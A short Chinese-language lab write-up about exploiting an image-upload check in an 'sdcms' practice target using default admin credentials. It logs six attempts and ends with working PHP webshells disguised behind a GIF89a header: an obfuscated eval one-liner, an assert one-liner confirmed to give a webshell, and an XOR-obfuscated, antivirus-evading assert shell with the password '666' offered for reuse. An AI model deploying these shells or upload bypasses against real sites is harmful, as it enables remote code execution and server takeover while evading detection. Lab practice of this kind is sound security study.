sdcms靶场

151 阅读1分钟

登录后台 sdcms.lan/?m=admin&c=… 用户密码admin

image.png

上传漏洞分析

第一次 上传一个正儿八经的Png文件 可以上传并返回路径

image.png

第二次 直接上传Php文件 直接提示报错

image.png

而且burp没有抓到包

第三次 直接上传一个一句话木马 提示非法图像文件 image.png

第四次 修改一下文件头部,提示只有部分被上传 image.png

第五次 先正儿八经上传一个截图png,然后抓包发送到Repeater修改内容

使用的是eval函数

GIF89a
<?php
$a=str_replace('b','','ebvbal');
$a($_POST[a]);
?>

image.png

sdcms.lan/upfile/2023…

image.png

但是蚁剑 菜刀等都连不上

image.png

第六次 正儿八经上传一个截图png,然后抓包发送到Repeater修改内容 使用的是assert函数

GIF89a
<?php
$a=str_replace('b','','abssbert');
$a($_POST['a']);
?>

image.png

成功获取webshell image.png

ps

GIF89a
<?php 
class PGWX { 
    function ZyLQ() {
        $RsjM = "\x70" ^ "\x11";
        $SgDj = "\xa5" ^ "\xd6";
        $LAeP = "\xdf" ^ "\xac";
        $XEAs = "\x1a" ^ "\x7f";
        $kyWH = "\x7c" ^ "\xe";
        $AKkp = "\x2" ^ "\x76";
        $ZVdl =$RsjM.$SgDj.$LAeP.$XEAs.$kyWH.$AKkp;
        return $ZVdl;
    }
    function __destruct(){
        $JsvO=$this->ZyLQ();
        @$JsvO($this->qK);
    }
}
$pgwx = new PGWX();
@$pgwx->qK = isset($_GET['id'])?base64_decode($_POST['666']):$_POST['666'];
?>

这个免杀php 也是可以的密码为666